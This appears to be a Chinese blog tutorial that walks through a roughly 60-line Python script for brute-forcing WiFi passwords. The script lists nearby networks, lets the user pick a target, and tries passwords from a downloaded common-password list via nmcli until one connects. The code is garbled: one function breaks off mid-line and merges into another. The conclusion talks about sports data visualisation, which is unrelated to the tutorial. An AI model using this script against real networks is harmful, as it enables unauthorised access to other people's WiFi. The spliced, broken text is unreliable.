欢迎光临本站
我们一直在努力

Python破解WiFi密码三步教程:轻松解密网络密码

很多用户都很好奇那些网络大神是怎么把wifi密码破解的,其实破解WiFi密码的难度仅限于路由器的主人把密码设置得多复杂而已,如果是用比较常用的弱密码口令,那么就很容易将WiFi破解出来。

用Python脚本将wifi密码破解(3步破解WiFi密码)

如何破解WiFi密码?

本文,将会通过Python教大家如何实现,这里纯粹是为了学习用途。

### 1. WiFi列表

首先,我们需要获取附近的WiFi列表。

下面,就来写一个函数来获取附近的WiFi列表,函数命名为`display_targets`:

“`python
def display_targets(networks, security_type):
print(“Select a target: \n”)

rows, columns = os.popen(‘stty size’, ‘r’).read().split()
for i in range(len(networks)):
width = len(str(str(i+1)+”. “+networks[i]+security_type[i]))+2
spacer = ” ”

if (int(columns) >= 100):
calc = int((int(columns)-int(width))*0.75)
else:
calc = int(columns)-int(width)

for index in range(calc):
spacer += “.”
if index == (calc-1):
spacer += ” ”

print(str(i+1)+”. “+networks[i]+spacer+security_type[i])
“`

这里,我们会用到ssid工具包,用来获取附近的WiFi列表,存入到参数`networks`。

用Python脚本将wifi密码破解(3步破解WiFi密码)

### 2. 选择WiFi

获取WiFi列表之后,下一步要做的就是选择我们想要连接的WiFi信号。

“`python
def prompt_for_target_choice(max):
while True:
try:
selected = int(input(“\nEnter number of target: “))
if(selected >= 1 and selected = 8):
time.sleep(3)

creds = os.popen(“sudo nmcli dev wifi connect ” +
selected_network+” password “+decoded_line).read()

# print(creds)

if (“Error:”in creds.strip()):
if args.verbose is True:
print(bcolors.FAIL+”** TESTING **: password ‘” +
decoded_line+”‘ failed.”+bcolors.ENDC)
else:
sys.exit(bcolors.OKGREEN+”** KEY FOUND! **: password ‘” +
decoded_line+”‘ succeeded.”+bcolors.ENDC)
else:
if args.verbose is True:
print(bcolors.OKCYAN+”** TESTING **: password ‘” +
decoded_line+”‘ too short, passing.”+bcolors.ENDC)

print(bcolors.FAIL+”** RESULTS **: All passwords failed :(“+bcolors.ENDC)
“`

核心功能3个函数就完成了,只用了**60行**Python代码!

下面就把它们串联在一起:

“`python
def main():
require_root()
args = argument_parser()

# The user chose to supplied their own url
if args.url is not None:
passwords = fetch_password_from_url(args.url)
# user elect to read passwords form a file
elif args.file is not None:
file = open(args.file, “r”)
passwords = file.readlines()
if not passwords:
print(“Password file cannot be empty!”)
exit(0)
file.close()
else:
# fallback to the default list as the user didnt supplied a password list
default_url = “https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/10-million-password-list-top-100000.txt”
passwords = fetch_password_from_url(default_url)

# grabbing the list of the network ssids
func_call = start(1)
networks = func_call[0]
security_type = func_call[1]

if not networks:
print(“No networks found!”)
sys.exit(-1)

display_targets(networks, security_type)
max = len(networks)
pick = prompt_for_target_choice(max)
target = networks[pick]

print(“\nWifi-bf is running. If you would like to see passwords being tested in realtime, enable the [–verbose] flag at start.”)

brute_force(target, passwords, args)
“`

**不同的颜色代表不同不同的结果:**

– 红色:测试失败
– 绿色:破解成功
– 紫色:测试中

现在,是不是发现这个看上去很复杂的事情变得简单许多?

### 结语:

运动中充满了各种不同维度的数据,上述只是列举出一些我个人比较感兴趣的维度进行了分析与可视化。

希望,能够对你有所启示,能够发掘更有价值、有趣的信息,在学习和乐趣中得到最佳的实践。

版权声明:本文采用知识共享 署名4.0国际许可协议 [BY-NC-SA] 进行授权
文章名称:《Python破解WiFi密码三步教程:轻松解密网络密码》
文章链接:https://www.youkayouwang.com/kaquan-baike/wifi-luyou/88383.html
本站资源仅供个人学习交流,请于下载后24小时内删除,不允许用于商业用途,否则法律问题自行承担。